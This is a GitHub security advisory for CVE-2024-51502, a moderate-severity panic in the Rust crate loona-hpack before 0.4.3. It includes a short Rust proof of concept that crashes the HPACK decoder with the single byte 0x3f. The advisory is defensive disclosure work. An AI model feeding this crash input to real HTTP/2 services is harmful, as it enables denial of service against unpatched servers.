GitHub Advisoryadvisory · crates.io
GHSA-7vm6-qwh5-9x44 loona-hpack Panic Vulnerability
MEDIUM
Official page ↗
- Aliases
- CVE-2024-51502
- Ecosystem
- crates.io
- Packages
- loona-hpack
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
- Weaknesses
- CWE-754, CWE-755
- Reviewed
- 2024-11-04
Affected packages
• crates.io loona-hpack: < 0.4.3 → fixed in 0.4.3
Description
Summary
`loona-hpack` suffers from the same vulnerability as the original `hpack` as documented in https://github.com/mlalic/hpack-rs/issues/11
Details
The original includes a very nice description of the problem, as well as an easy-enough fix for it.
PoC
The original example pretty much still applies:
```rust
use loona_hpack::Decoder;
pub fn main() {
let input = &[0x3f];
let mut decoder = Decoder::new();
let _ = decoder.decode(input);
}
```
Impact
From the original:
`All users who try to decode untrusted input using the Decoder are vulnerable to this exploit. A patched version of the crate is available on crates.io under the name hpack-patched. See Cargo's documentation on overriding dependencies for more information.`
Related
Alias · CVE (1)
- CVE-2024-51502 loona is an experimental, HTTP/1.1 and HTTP/2 implementation in Rust on top of io-uring. vulnerability
References
- https://github.com/bearcove/loona/security/advisories/GHSA-7vm6-qwh5-9x44 web
- https://nvd.nist.gov/vuln/detail/CVE-2024-51502 advisory
- https://github.com/mlalic/hpack-rs/issues/11 web
- https://github.com/bearcove/loona/commit/9a4028ec6484f50a320281271a41a5040ddb1ba8 web
- https://github.com/advisories/GHSA-w7hm-hmxv-pvhf advisory
- https://github.com/bearcove/loona package